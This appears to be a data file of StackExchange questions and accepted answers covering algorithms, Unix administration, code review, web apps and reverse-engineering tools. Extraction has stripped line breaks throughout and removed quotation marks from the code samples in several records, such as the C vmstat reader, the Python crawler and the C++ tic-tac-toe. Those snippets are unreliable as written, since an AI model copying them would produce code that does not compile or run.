{  "id": "_cstheory.20684"  , "question": "Suppose a vector of size $n$ is given. The goal is to compute, $\\forall i \\in [n]$ the lightest interval of size $i$ (i.e. the interval whose sum is minimal).For example, if we have the array:1 1 0 0 1 2 1 0 0 0 1For any length n, the minimal weight of $i$ length interval is:interval size:              1  2  3  4  5  6  7  8  9  10 11interval weight:            0  0  0  1  2  4  4  4  5  6  7A naive algorithm would compute the shortest interval for each $i$ by itself, which results in a $O(n^2)$ time algorithm (keeping a sliding window of size $i$).If we attempt a greedy triangle algorithm (start from the smallest number, expand by 1 each time), it fails, no matter if we try it botom-up or top-down:A triangle algorithm would fail at 1 1 1 4 0 1 41 1 1 4 0 1 4 -> 01:0 :         02:1 :       4 0 > 0 13:5 :       4 0 1 = 0 1 4     BUT: 1 1 1 would be cheaper4:6 :     1 4 0 1 < 4 0 1 45:7 :   1 1 4 0 1 < 1 4 0 1 46:8 : 1 1 1 4 0 1 < 1 1 4 0 1 47:12: 1 1 1 4 0 1 4A reverse triangle algorithm would fail at 0 3 0 0 1 16:5: 0 3 0 0 1 15:4: 0 3 0 0 1 < 3 0 0 1 14:3: 0 3 0 0 < 3 0 0 1     BUT: 0 0 1 1 would be cheaper!3:3: 0 3 0 == 3 0 0        BUT: 0 0 1 would be cheaper!2:3: 0 3 == 3 0            BUT: 0 0 would be cheaper!1:0: 0 < 3Is it possible to find the interval weights in time $o(n^2)$? Is it possible to approximate them with lower runtime?"  , "title": "Efficiently generate list of lightest intervals of a vector"  , "tags": "ds.algorithms;dynamic programming"  , "accepted_answer": "You can build the whole table using the following $O(n^2)$ construction:1: 1   1   0 z:0 w:1   2   1   0   0   0   1    2:   2   1   0   1   3   3   1   0   0   13:   y:2   1   1   3   4 v:3   1   0   14:     x:2   2   3   4 u:4 ...5:        ......At every step you are calculating the value $x$ at the top of a reversed triangle, and the value is simply the sum of an adjacent element in the previous row ($y$ in the figure) and the opposite vertex at the base of the triangle ($z$ in the figure).*         z ...   ...   y   *     xx = y + zor equivalently:w         * ...   ...   *   v     uu = v + wFor each row the difficulty is given by the lower element of that row."  } 
{  "id": "_softwareengineering.130341"  , "question": "Possible Duplicate:Does making source code available affect your ability to generate revenue? Initially I was going closed-source all the way, or at least until wehave a good reputation, and open-sourcing will only improve that rep.Recently though, I've been thinking about open-sourcing the entire solution.Various popular SaaS solutions have open-sourced under AGPL and aregenerating revenue. For instance, Gitorious(http://gitorious.com/subdomain) is AGPL but they make profit. OpenERP makes profit using the same sort of mechanism as Gitorious, advertising that they maintain the servers and keep servers online.I am building an ecommerce solution, and am considering offering freeuse of part of the system, pay per/month to use the entire system.By making the solution open-source, couldn't a competitor justdownload my project and offer it at a cheaper fee per/month? If I open-source, will that increase or decrease my revenue?"  , "title": "Open-source or closed-source for SaaS?"  , "tags": "open source;licensing"  } 
{  "id": "_datascience.14838"  , "question": "Let's say I have conditional probabilities estimates for N-grams and I want to find out which of the two sequences of different length 'looks more natural' in terms of the given model. How does one do this? Is it something to do with perplexity?Would also be glad if someone posted a reference to a reasonable Python implementation of the suggested method [a code snippet or a link to nltk/spacy/whatever method].Thanks in advance."  , "title": "Given one language ngram model, how do I compare likelihoods of two texts of different length?"  , "tags": "nlp;nltk;language model;sequence;text generation"  } 
{  "id": "_unix.182809"  , "question": "I am trying to set up XMonad so that multiple windows have gaps between them. The relevant part of my config file is as followsimport XMonad.Layout.Spacingfollowed later bymyLayout = tiled ||| Mirror tiled ||| Full  where    tiled = spacing 5 $ Tall nmaster delta ratio    nmaster = 1    ratio = 1/2    delta = 3/100The problem is that when one window occupied the whole screen there are gaps along the border. Is there a way to adjust my configuration so that these gaps do not appear when there is only one window?"  , "title": "XMonad gaps in fullscreen"  , "tags": "window manager;xmonad;haskell"  , "accepted_answer": "Have a look at smartSpacing: (see Xmonad Spacing Docs)Surrounds all windows with blank space, except when the window is the  only visible window on the current workspace.I.e., changingtiled = spacing 5 $ Tall nmaster delta ratiototiled = smartSpacing 5 $ Tall nmaster delta ratioshould to the trick."  } 
{  "id": "_softwareengineering.109561"  , "question": "I'm currently working on a project that uses a Webserver running in Windows CE 6.0. Since this server only supports classic ASP (i.e, no PHP, ASP.NET, etc.)/ I plan to use XML as the database.Is this the best approach, or there is an easier way to do this, taking in consideration that I'm used to work in C and not high level languages?"  , "title": "What should I be using to store data in a legacy web development project?"  , "tags": "database;windows;xml"  , "accepted_answer": "I think XML is just fine if your database isn't going to scale much. Though there are some points you might consider :XML has no indexing mechanism, if you want to search by several criteria or join different data you can't.XML data is mainly plain text, it can be tampered with easier than a database.XML does not provide aggregate functions like SQL - So you will need to code aggregate functions, etc.XML has no concurrency management, you work with a file not a row.User security and user rights need to be secured - This is usually handled via database or Windows integrated security.Most report generators require a data source that is either CSV or a database (of course you can build a datatable or similar using XML and pass that to the report generator as an object, this depends on your selected tool).Databases offer simple and generally quick backup.You can add/remove columns from database with relative ease.Database offer consistency checks and constraints as well as transcriptional processing allowing you to rollback in case of errors.Databases offer stored procedure that allows you to encapsulation server logic within themUsing a database, you can allow your user to enter dynamic sql queries instead of programming every possible report."  } 
{  "id": "_unix.110511"  , "question": "I would like to ask if there is a way to count the number of elements in an array in ksh."  , "title": "Count number of elements in an array"  , "tags": "ksh;array"  } 
{  "id": "_softwareengineering.110333"  , "question": "Does anyone have any advice for making an attractive software architecture diagram? My manager told me to make my current architecture diagram (which was built just using Visio and basic icons) more attractive for a presentation I have to give to executive level types who are non-technical. I'm guessing he meant to have something that you'd show to customers or for marketing people to use. Any specific icon sets or particular tips people have? I cannot post my current diagram for privacy reasons but to get the general idea, it's just text, lines, and server icons (http://www.227volts.com/wp-content/uploads/2009/03/exchange2007visiostencils.jpg) that is the icon set that I am using.I'm honestly confused on how to make something like that more attractive (hell, I think black and white are always the best color combinations to use :P)Edit:So is something like this http://rollerweblogger.org/roller/resource/linkedin-today.png still considered professional with all the colors and such?I asked my manager and all he said was just make it more marketable while evading questions about what I should do specifically."  , "title": "Making an attractive, yet still technical architecture diagram"  , "tags": "diagrams"  , "accepted_answer": "This question is too large to be answered exactly point by point. There are books about design, and other books about user experience, which explain in every detail how to make the software, consumer products, books, advertisements, toys for babies more attractive to the target audience. Actually, your question is similar to:I'm a designer, I have some idea of programming (I learned Basic at school for two weeks) but I don't have time to learn programming. I am asked to do an e-commerce website from scratch using ASP.NET MVC and Microsoft SQL. Can you explain me what's those two things and how can I use them to do a successful work?In all cases, if you want to make attractive charts but don't have time to read dozens of books and you don't have a designer in your company (is it possible?), you can try to inspire yourself from what you see around: professional websites, presentations, etc. You have to note some rules and patterns, and apply them to your charts. You may get it wrong sometimes, because some rules work well for websites but fail for consumer products or charts or toys for babies, but in general, you have more chances to succeed.For example, if I take the chart in your edit:I notice the very first error: shadows. Shadows must be used with caution. In a website, such usage would be unacceptable. A good example of how shadows must be used is Apple.com. Each element the user can interact with has a small shadow, giving a feeling of a volume. No other element has a shadow. In a case of a chart, this may be more acceptable, since users are not intended to interact with the chart. Still, shadows are too large and too separated from the elements. Also, here, there is no need for them: each element has already a border.Rule of thumb: KISS (or, if you want, be lazy). Don't add a border and a shadow and a background color at the same time. Don't make the text bold italic Arial Black 200 red underlined with a yellow border on lime background blinking. Do only what you need to do to add visual impact, nothing more.Think about styling your charts: nobody wants to see those ugly black and white UML diagrams. But don't overstyle: it will only become worse: UML black and white diagrams are ugly but usable. A rainbow multi-font blinking GIF-animated crap with plenty of icons and arrows that change color is not only ugly, but also unusable.For the charts, remember the specificity of the context. If it will be shown through a projector, you can't have a green text on a white background: it will just magically disappear when projected on a wall. If it supports your talk, don't put too much on a slide: too much graphics, too much numbers, too much text. The illustration above is a good example of what you must never do for a presentation: with such slide, you're sure that half of the audience goes to sleep, and the other half stops listening to you, trying desperately to understand what's this thing.Finally, remember that you're here for your audience, not the opposite. If you'll show the chart as the one illustrated above to marketing people, they'll say themselves that you suck. Do they know what is the cloud (or they believe it's something to do with applications which are hosted in the sky/space)? Do they know what represents the brown icon with DB on it? Can they explain what is a web app, and how is it different from something-else-app or from a website?"  } 
{  "id": "_unix.224347"  , "question": "How do I calculate disk read and write latency in Linux?Is it possible to do the calculation using /proc file system?I am using iostat and vmstat command. But I do not understand how the calculation works. This code I am using for calculation.#include <stdlib.h>#include <stdio.h>#include <string.h>#include <sys/sysinfo.h>int main(int argc, char **argv){struct sysinfo si;sysinfo (&si);const double xdt = 1024;float  pagein,pageout, oldvalin = 0, oldvalout = 0, res;for(;;) {        FILE *fp=fopen(/proc/vmstat,r);        char  tmp[256];        char  subbuff[256];        while(fp!=NULL && fgets(tmp, sizeof(tmp),fp)!=NULL)        {        if (strstr(tmp, pgpgin)) {                memcpy( subbuff, &tmp[7], 40);                subbuff[40] = '\\0';                pagein = atoi(subbuff);        }        if (strstr(tmp, pgpgout)) {                printf(\\n\\n%s, tmp);                memcpy( subbuff, &tmp[7], 40);                subbuff[40] = '\\0';                pageout = atoi(subbuff);        }        }        printf(Res : %.2f \\t %.2f,pagein-oldvalin,pageout-oldvalout);        oldvalin = pagein;        oldvalout = pageout;        if(fp!=NULL) fclose(fp);sleep(1);}}In iostat command, how do I find r_await & w_await fields.When I run iostat -xdctm 1 command, I got this output.Linux 2.6.35.14-106.fc14.i686 (shashi)  08/27/2015  _i686_  (2 CPU)08/27/2015 05:33:52 PMavg-cpu:  %user   %nice %system %iowait  %steal   %idle           8.75    0.00    2.35    1.10    0.00   87.80Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await  svctm  %utilsda               3.76    16.44    2.35    2.33     0.07     0.07    62.70     0.17   35.48   4.78   2.24dm-0              0.00     0.00    2.04    0.59     0.03     0.00    27.88     0.18   68.13   3.31   0.87dm-1              0.00     0.00    2.60    4.09     0.01     0.02     8.00     2.38  354.78   0.67   0.45dm-2              0.00     0.00    1.47   13.63     0.03     0.05    10.99     3.76  249.16   0.85   1.28At least by using iostat command, how can I get Read/Write Latency?"  , "title": "Disk I/O latency using /proc/vmstat file"  , "tags": "linux;filesystems;io;proc;disk"  } 
{  "id": "_reverseengineering.14455"  , "question": "My HexRays decompiler output often looks like:  v0 = LoadLibraryW(Lwininet.dll);  v1 = v0;  if ( !v0 )    goto LABEL_1;  v2 = GetProcAddress(v0, InternetOpenW);  v3 = GetProcAddress(v1, InternetConnectW);  v4 = v2;  v5 = v4;To me, there's just a couple variables here.  v0, v2, and v3.  The rest are entirely duplicate.  Is it possible to clean up my decompiler output to eliminate these extraneous variables?"  , "title": "Cleaning HexRays Output"  , "tags": "ida;hexrays"  } 
{  "id": "_scicomp.23471"  , "question": "I wonder what is the difference between both functions.In C++, the difference between new and malloc is easier: new allocates memory by calling the constructor. What about PETSc ? In the example, it seems to be pretty close:in dm/examples/tutorials/ex6.c:struct _p_FA {  MPI_Comm   comm[3];  PetscInt   xl[3],yl[3],ml[3],nl[3];    /* corners and sizes of local vector in DMDA */  PetscInt   xg[3],yg[3],mg[3],ng[3];    /* corners and sizes of global vector in DMDA */  PetscInt   offl[3],offg[3];            /* offset in local and global vector of region 1, 2 and 3 portions */  Vec        g,l;  VecScatter vscat;  PetscInt   p1,p2,r1,r2,r1g,r2g,sw;};typedef struct _p_FA *FA;FA         fa;PetscNew(&fa);In  ksp/ksp/examples/tutorials/ex42.c:PetscMalloc(sizeof(struct _p_CellProperties),&cells);The rule is just: using PetscMalloc for a structure, and PetscNew for a pointer of structure?"  , "title": "PETSc - difference between PetscNew and PetscMalloc"  , "tags": "petsc;c"  } 
{  "id": "_softwareengineering.58971"  , "question": "I write all (well, most) of my programs in an IDE, mostly it's netbeans.Should I just use Mercurial through the IDE, or is it better if I used the CLI instead? and why?"  , "title": "Using version control in an IDE"  , "tags": "ide;version control;language agnostic"  , "accepted_answer": "I use Netbeans and Mercurial daily.The integration of Mercurial in Netbeans is good, but I find TortoiseHg to be much clearer than what Netbeans can show. So, I use both tools :In TortoiseHg, I pull, push, commit, merge, update, tag, rollback, backout, import/export, revert, edit .hgignore and hgrc files, watch the history graph, guess copy/renames, and bisect.In Netbeans, I benefit from the interactive diff (green/blue/red marks at the left of the editor), I also benefit from the fact that the refactorings done in Netbeans are recorded in Mercurial. I revert files or parts of a file. I sometimes watch the diff between 2 revisions, side by side. And I sometimes show the annotations (blame).I won't argue why I do some actions in one tool or another. I won't argue the use of the CLI versus a GUI. These are personal tastes. What I wanted to emphasis is that nothing prevents you from using multiple tools to work with Mercurial. Every actions you do in either tools (or with the CLI) will be seen by the others. Ok, sometimes I have to tell Netbeans to refresh by asking a hg status, but this is not critical.Note that this is not true for Subversion+Netbeans. When I was using Subversion, I had some conflicts between Netbeans and external tools when working on the same local copy."  } 
{  "id": "_webapps.102200"  , "question": "The title might sound confusing cause I don't know how to word it. Let start with the exampleSo I have a spreadasheet with dataFirst column shows Grade levels: Kinder, First, Second, Third....The other Column shows number of pencils for each grade.I need a formula that selects only Kinder class and adds up all the pencils for them. Any ideas?"  , "title": "Google Sheets - Sum formula that relates with one row to another"  , "tags": "google spreadsheets;google apps;formulas"  } 
{  "id": "_cs.44724"  , "question": "In a simple architecture(not considering parallel architecture) how exactly this can be performed in a single clock cycle:P:R1 <- R2, R2 <-R1where R1 and R2 are registers and P is a control variable.I do not exactly understand when does this microoperation gets completed on the rising edge of the beginning of the cycle or just before clock transition.  "  , "title": "Register Transfer Activity"  , "tags": "computer architecture;parallel computing;shift register"  } 
{  "id": "_unix.27341"  , "question": "Why are tables built into ipchains? What was the benefit of adding tables to ipchains? Is there a simple scenario that would illustrate how tables are used to increase performance or offer some other benefit?"  , "title": "Why were tables built into ipchains?"  , "tags": "iptables"  } 
{  "id": "_unix.20690"  , "question": "How can I grep a paragraph from a file in the Solaris operating system? I tried the -p option used in AIX, but it's not useful in Solaris.grep -p Accept is not working in Solaris. Is there any other option?"  , "title": "Using grep to read a paragraph on Solaris"  , "tags": "grep"  } 
{  "id": "_softwareengineering.123744"  , "question": "Is there an easy way to search open repository such as github, googlecode, codeplex, etc at the same time?I wonder whether google is good at this. "  , "title": "easy way to search github, googlecode, codeplex,etc at the same time?"  , "tags": "open source;repository"  , "accepted_answer": "Well, I don't know if there is such a website but you can always do that with a simple Google search:socket site:www.codeplex.com OR site:github.com OR site:code.google.com...where socket is the term/project/code example you are looking for. It is the way multi-sites search is done."  } 
{  "id": "_webapps.20706"  , "question": "I'm always logged in with Facebook. I've close my Mac and my iPad, I'm still online.I've checked the account activity from Facebook settings, and everything is fine, the only open connection is from my IP.I've logged off from both iPad and Mac browser and I'm still online (my friends see me online).I've tried several times to log out from browser and from iPad account, I'm always online. The only ways to go offline are:to change the chat settings about Availability in the browserto select: Go offline on iPad app (which is different from log out)My questions are: why is this happening and how can I solve it?"  , "title": "I'm always online on Facebook even if I log off on all my devices"  , "tags": "facebook"  } 
{  "id": "_softwareengineering.237728"  , "question": "I don't consider myself a highly skilled javascript developer, but I thought I got one thing right for sure: don't create global variables unless you really have to.I've been learning angularjs lately and discovered one strange thing, almost everywhere in code samples for angular you can find constructions like the following.'use strict';/* Controllers */var phonecatControllers = angular.module('phonecatControllers', []);phonecatControllers.controller('PhoneListCtrl', ['$scope', 'Phone',  function($scope, Phone) {    $scope.phones = Phone.query();    $scope.orderProp = 'age';  }]);Source: official example app https://github.com/angular/angular-phonecat/blob/master/app/js/controllers.js So I assumed I might be missing/misunderstanding something. Any thoughts except since it's demo code, they don't care?"  , "title": "Global variables in javascript"  , "tags": "javascript;angularjs;globals"  , "accepted_answer": "It's demo code. If you want to read it from the Angular developers, go here and scroll down until you seeIn practice, you will not want to have your controller functions in the global namespace."  } 
{  "id": "_unix.110325"  , "question": "I am trying to form a group with two users so that only those two users have access to a directory usingchmod g+r dirI form a new group, www-OtagoHarbour, and try to add an existing user, OtagoHarbour, like this.OtagoHarbour@WebServer:/var/www/executables$ sudo groupadd www-OtagoHarbourOtagoHarbour@WebServer:/var/www/executables$ sudo useradd -G www-OtagoHarbour OtagoHarbouruseradd: user 'OtagoHarbour' already existsOtagoHarbour@WebServer:/var/www/executables$ sudo useradd -g www-OtagoHarbour OtagoHarbouruseradd: user 'OtagoHarbour' already existsOf course the user 'OtagoHarbour' exists but I want to add it to a group with another user. "  , "title": "Trying to form group with two users"  , "tags": "group"  , "accepted_answer": "You use the command useradd to add accounts. But once they've been created you use the command usermod to modify them.$ usermod -a -G www-OtagoHarbour OtagoHarbourReferencesusermod man page"  } 
{  "id": "_unix.123963"  , "question": "I'm working with a fanless PC (hundreds of them, in fact) that has debian 6 and 3 partitions( FAT and 2x ext2). The system doesn't have a power button as such so most people tend to yank the plug to 'shut it down' rather than init 0 (or equivalent). As a result the filesystem(s) build up errors pretty rapidly. I've tried using 'shutdown -rF' to force fsck but this doesn't seem to be working. I'm wondering if there is some way to tell the system to check each mount point / FS before they are mounted. I've tried setting the fsck param in /etc/fstab. This typically gives me a 'Errors found. Run fsck manually' message. Are there other options to try?"  , "title": "How to force fsck at every boot - all (relevant) filesystems?"  , "tags": "debian;fsck"  , "accepted_answer": "In /etc/init.d/checkfs.sh is the line if [ -f /forcefsck ] || grep -s -w -i forcefsck /proc/cmdline, so providing forcefsck on the kernel command line or generating a /forcefsck file on shutdown should cause an fsck on the next reboot.To prevent manual fsck runs, ask fsck to try to automatically fix errors with the -y option by uncommenting and changing no to yes in the following /etc/default/rcS entry, after the edit it should look like:# automatically repair filesystems with inconsistencies during bootFSCKFIX=yesOne option (forcefsck or FSCKFIX) does not imply the other."  } 
{  "id": "_codereview.163583"  , "question": "I need to match values in Needle & Haystack arrays, using alternate Ontology values when relevant. This syntax works, however I would like a more efficient way to do this as I will be using it for several corresponding Alt. Needle arrays for each of 1000+ Needle and Haystack arrays.In my use case, the Needle & Haystack correspond with Product and Customer attributes respectively, and matches are made and ranked by assessing thousands of attributes for each, and attributes often have an array of values. One way in which Alt. Values are used are to incorporate closely related values into certain match results.<?php// Sample Product and Customer attributes$pNeckline_Silhouette = array('V-Neck', 'Jewel', 'Surplice'); // Product Values$uNecklines_Include = array('Crew', 'Scoop', 'V-Neck', 'Button_Down'); // Customer Values// Alt. V-Neck Types$V_Neck_NeckSil = array('V_Neck_Type1' => array(), 'V_Neck_Type2' => array() );  $V_Neck_Type1 = array(V-Neck,V-Shaped_Curved,Surplice);$V_Neck_Type2 = array(Slit,Split,Slash);foreach ($pNeckline_Silhouette as $current_pNecklineSil) {          // Compares Needle to current Alt. Needle        if (in_array($current_pNecklineSil, $V_Neck_Type1) ) {  // Exists in current Subset            // Loops through Subset            foreach ($V_Neck_Type1 as $current_Type1) {                // Compares current Alt. Needle to Haystack                if (in_array($current_Type1, $uNecklines_Include) ) {  // Match Exists                    ... // Do something                    }                 else {                    ... // Do something                    }                       }  // Ends Subset foreach         }}?>"  , "title": "Matching Needle & Haystack values using related Ontology values"  , "tags": "php"  } 
{  "id": "_unix.5982"  , "question": "What tools can I use to delete all the EXIF, IPTC, XMP, etc metadata from graphics files?"  , "title": "What tools to use to eliminate metadata in graphics files?"  , "tags": "software rec;image manipulation"  } 
{  "id": "_unix.38614"  , "question": "As I heard the extended unique identifier (EUI-64) can be used as the lower 64 bits of a IPV6 address. How can I set my own EUI64 = ( IEEE_company_ID + manufacture_ID) on the interface on Linux SUSE SLES11 to use it for Lilnk Local and SLAAC generation of ipv6 address on that interface? Is it possible?Or generation of LinkLocal and SLAAC address uses only MAC48s EUI64!Best wishes,Ivan  "  , "title": "EUI64 and ipv6: how to use own EUI64 for IPv6 autoconfiguration"  , "tags": "linux;suse;ipv6"  } 
{  "id": "_codereview.64506"  , "question": "I want to improve efficiency of this search engine.  It works in about 10 seconds for a search depth of 1, but 4 minutes at 2 etc.I tried to give straightforward comments and variable names, any suggestions for improved clarity or style/form would also be welcome.import urllib2import collectionsdef get_page(url):    #return page html from url    try:        return [url,urllib2.urlopen(url).read()]    except:        return [url,]         def get_next_url(page):    #goes through page html from a starting position and finds the next url    start_link = page[1].find('<a href=http')    if start_link == -1:        return None, 0    end_link = page[1].find('', start_link + len('<a href='))    url = page[1][start_link + len('<a href='): end_link]    return url, end_link           def get_all_links(page):    #returns all urls from a page    links = []    while True:        url,end_link = get_next_url(page)        if url:            links.append(url)                       page[1] = page[1][end_link:]        else:            return linksdef crawl_web(seed, to_crawl, crawled):    #calls get_all_links to crawl webpage, updates crawled and to_crawl.    to_crawl.remove(seed)    if seed not in crawled:        new_links = set(link for link in get_all_links(get_page(seed)))        to_crawl = to_crawl.union(new_links)        crawled.add(seed)    return crawled, to_crawl, new_linksdef track_depth(url, maxdepth):    #sets depth of webcrawl, feeds seed url to webcrawler    depth = 0    tier = [[url]]    to_crawl = set([url])    crawled = set()    while depth < maxdepth:           next_tier = []        for next_url in tier[depth]:            crawled, to_crawl, new_links = crawl_web(next_url, to_crawl,                                                     crawled)            next_tier += list(new_links)        tier.append(next_tier)        depth += 1    return tier, crawled, to_crawldef get_next_string(page):    #finds string in html of page using paragraph markers    start_string = page[1].find('<p>')    if start_string == -1:        return None, 0    end_string = page[1].find('</p>', start_string + len('<p>'))    string = page[1][start_string + len('<p>'): end_string]    return string, end_stringdef get_page_words(page):    #gets all strings on page and converts to word list    page_string = ''    to_remove = '#$%^&*._,1234567890+=<>/\\():;!?'    while True:        string, end_string = get_next_string(page)        if string:            page_string +=   + string                       page[1] = page[1][end_string:]        else:            for i in to_remove:                        page_string = page_string.replace(i, '').lower()                page_words = page_string.split()            return page_wordsdef word_bank(crawled):    #creates word index mapping url values to word keys        crawled = list(crawled)    word_count = {}      for url in crawled:        for word in get_page_words(get_page(url)):            if word in word_count:                if url in word_count[word]:                    word_count[word][url] += 1                else:                    word_count[word][url] = 1            elif len(word) < 15:                word_count[word] = {url: 1}    return word_countdef search_engine(target_string, word_count):    #searches word_bank for words in string, returns urls words are found at    targets = list(set(target_string.split()))    result =[]    for word in targets:        if word in word_count:            result += word_count[word].keys()    ans = collections.Counter(result).most_common()    return ans[0][0], ans[1][0], ans[2][0]crawled = track_depth(http://xkcd.com/1427/, 2)[1]print crawling doneword_count = word_bank(crawled)print word_count done#print word_countprint search_engine('starting blogs about', word_count)"  , "title": "Basic search engine"  , "tags": "python;optimization;python 2.7;web scraping;breadth first search"  } 
{  "id": "_unix.104279"  , "question": "In Tmux, how do I assign a particular program to a particular window, so that all  calls to that program from a shell in another window in Tmux will go to that program? One example would be a window that just keeps Vim open.So in this example, whenever I type vim myfile.txt in my shell window in Tmux, I will see myfile.txt in the vim window of Tmux."  , "title": "Vim Window in Tmux"  , "tags": "tmux"  } 
{  "id": "_unix.362546"  , "question": "Considering that environment variables defined in a shell are available to the child processes of the shell.When we open a terminal, it reads .bashrc and executes its commands. That means the .bashrc is available to all the terminals.I want to know whether the environment variables of bashrc are available to  those scripts which are run periodically at fixed intervals? i.e. We manually do not open a terminal to run these scripts.   What if I start QtCreator by clicking on the desktop icon? Will the environment variables of bashrc be available to this QtCreator process? Why?If not, then what will be the way to supply environment variables to those scripts which do not physically open a terminal?Please include references while answering."  , "title": "What is the scope of environment variables defined in ~/.bashrc?"  , "tags": "environment variables;bashrc"  } 
{  "id": "_softwareengineering.332892"  , "question": "In many languages, the syntax function_name(arg1, arg2, ...) is used to call a function. When we want to call the function without any arguments, we must do function_name().I find it odd that a compiler or script interpreter would require () to successfully detect it as a function call. If a variable is known to be callable, why wouldn't function_name; be enough? On the other hand, in some languages we can do: function_name 'test'; or even function_name 'first' 'second'; to call a function or a command. I think parentheses would have been better if they were only needed to declare the order of priority, and in other places were optional. For example, doing if expression == true function_name; should be as valid as if (expression == true) function_name();.The most annoying thing in my opinion is to do 'SOME_STRING'.toLowerCase() when clearly no arguments are needed by the prototype function. Why did the designers decide against the simpler 'SOME_STRING'.lower?Disclaimer: Don't get me wrong, I love the C-like syntax! ;) I'm just asking if it could be better. Does requiring () have any performance advantages, or does it make understanding the code easier? I'm really curious as to what exactly the reason is."  , "title": "Syntax Design - Why use parentheses when no arguments are passed?"  , "tags": "programming languages;language design;syntax"  , "accepted_answer": "For languages that use first-class functions, its quite common that the syntax of referring to a function is:a = object.functionNamewhile the act of calling that function is:b = object.functionName()a in the above example would be reference to the above function (and you could call it by doing a()), while b would contain the return value of the function.While some languages can do function calls without parenthesis, it can get confusing whether they are calling the function, or simply referring to the function."  } 
{  "id": "_codereview.141670"  , "question": "I wrote this as an exercise. I think that I have some repetitive code in the winner function but I don't know exactly how to reduce it. Any other general advice would be welcome too.#include<iostream>#include<iomanip>char table[3][3];int turn=1;void print_table(){    for (int i=0;i<3;i++)    {        for (int j=0;j<3;j++)            std::cout<<std::setw(3)<<table[i][j];    std::cout<<std::endl;    }}void create_table(){    for (int i=0;i<3;i++)        for (int j=0;j<3;j++)            table[i][j]='*';}void input(int turn){    int x=0,y=0;    std::cin>>x>>y;    if(turn%2==1)        table[x][y]='X';    else        table[x][y]='O';}char winner(){    for(int i=0;i<3;i++)        if(table[0][i]==table[1][i]&&table[1][i]==table[2][i]&&table[0][i]=='X')        {            return 'X';        }    for(int i=0;i<3;i++)        if(table[i][0]==table[i][1]&&table[i][1]==table[i][2]&&table[i][0]=='X')        {            return 'X';        }        for(int i=0;i<3;i++)        if(table[0][i]==table[1][i]&&table[1][i]==table[2][i]&&table[0][i]=='O')        {            return 'O';        }    for(int i=0;i<3;i++)        if(table[i][0]==table[i][1]&&table[i][1]==table[i][2]&&table[i][0]=='O')        {            return 'O';        }      if(table[0][0]==table[1][1]&&table[0][0]==table[2][2]&&table[0][0]=='O')      {            return 'O';      }      if(table[0][0]==table[1][1]&&table[0][0]==table[2][2]&&table[0][0]=='X')      {            return 'X';      }      return '\\0'; ///default}int main(){create_table();print_table();while (turn<=9&&winner()=='\\0'){input(turn);print_table();winner();turn++;}if(winner()!='\\0')    std::cout<<std::endl<<winner:<<winner();else    std::cout<<Draw.;}"  , "title": "Tic-Tac-Toe code in C++"  , "tags": "c++;beginner;tic tac toe"  , "accepted_answer": "1. Simplified winner() methodYou could merge the checks for 'X' and 'O' by returning one of the chars in a match of three in a row:char winner() {  for (int i = 0; i < 3; i++) {    if (table[0][i] == table[1][i] && table[1][i] == table[2][i]) {      return table[0][i]; // 'X' if all are 'X' and 'O' if all are 'O'    }  }  for (int i = 0; i < 3; i++) {    if (table[i][0] == table[i][1] && table[i][1] == table[i][2]) {      return table[i][0];    }  }  if (table[0][0] == table[1][1] && table[1][1] == table[2][2]) {    return table[1][1];  }  if (table[0][2] == table[1][1] && table[1][1] == table[2][0]) { // *    return table[1][1];  }  return '\\0';}*Note that your code is missing the forward slash diagonal2. Consider eliminating your global variablesI know this is just a practice project, and your code is fine as it is. However, if you wanted to scale your code, then you've created some unnecessary problems for yourself in the future.All of your functions depend on your two global variables, which limits you to one game and gets in the way of other features by polluting the global namespace. You could eliminate the globals by taking an object oriented approach or a more functional programming styled approach.The Object Oriented wayThe OO way would involve creating a TicTacToeGame class and making the global variables member variables members of your class.class TicTacToeGame() {private:  char table[3][3];  int turn;public:    TicTacToeGame() {    for (int i=0;i<3;i++)      for (int j=0;j<3;j++)        table[i][j]='*';    turn = 1;  }  char winner() {}  void input() {    // ...    turn++;  }  void print() {}  int getTurn() {    return turn;  }}int main() {  TicTacToeGame game = TicTacToeGame();  game.print();  while (game.getTurn() <= 9 && game.winner() == '\\0')  {    game.input();    game.print();    game.winner();  }  if(game.winner() != '\\0')    std::cout<<std::endl<<winner:<<winner();  else    std::cout<<Draw.;}Creating a class comes with a few other benefits. Particularly that you can encapsulate how a Tic-tac-toe game is played which helps with code scalability.A more functional approachFor the functional approach you can just pass the globals as parameters instead (be sure to pass by reference):char[][] create_table() {  // ...  return table;}void input (int turn, char[][] &table) {  // ...}char winner(char[][] &table) {  // ...}int main() {  int turn = 1;  char[][] table = create_table();  print_table(table);  while (turn <= 9 && winner(table) == '\\0') {    input(turn, table);    print_table(table);    winner(table);    turn++;  }  if(winner(table) != '\\0')    std::cout<<std::endl<<winner:<<winner(table);  else    std::cout<<Draw.;}This way gives you a lot more control over when and where turn and board get declared. You can more easily create multiple games to be played simultaneously. The biggest benefit is that your functions have their dependencies explicitly defined; there are no hidden parameters.Nice job overall! My second suggestion is mostly just to help with a few concepts with software development, and it isn't really applicable if you intend to keep your Tic-tac-toe game as simple as it is. Keep up the good work."  } 
{  "id": "_reverseengineering.4812"  , "question": "i want to set a breakpoint and suddenly the following message appears: You want to place breakpoint outside the code section. INT3 breakpoint  set on data will  not execute and may have disastrous influence on the  debugged program. Do you really want to set breakpoint here ? Note: you can permanently disable this warning in Options|Security.Without knowing what that is, I would guess that is not allowed to set the breakpoint. So my question would be:How can I bypass the annoying message ? Or better: What must I do to not see this ?"  , "title": "Suspicious breakpoint message in ollydbg"  , "tags": "untagged"  , "accepted_answer": "PE files have several sections like .code , .data, .bss etc. Each of the sections have a special purpose, such as the .code section usually contains the programs code i.e. the instructions, the .data sections houses the initialized variables etc.The above rule is merely a convention followed by compilers. In a packed/obfuscated program, the convention may not always hold true. You can have instructions in data segment and vice-versa. This is done for various reasons like thwarting analysis ,disassembly etc.When in Ollydbg you try to set a INT3 breakpoint on an instruction that happens to be in a section marked for data, Ollydbg would complain and that is the message you see. The reason for this is suppose that the instruction you set a breakpoint on is actually data. In this case, when the program reads in the value at the address it would read 0xCC (INT3 -> 0xCC) instead of the actual value. That can crash the program. Further since this is a read operation, the breakpoint will never be hit.If you want, you may disable the message in Ollydbg options, however doing that is not always recommended. Instead if you are sure that it is an instruction, you may ignore the warning and set the breakpoint.The other way is instead of using a INT3 breakpoint, set a Hardware breakpoint (HWBP) on execution at the aforesaid address. This way the program would not crash, even if the hwbp was set on data. HWBP's are enforced my the CPU and does not modify the program in any way unlike INT3 breakpoints"  } 
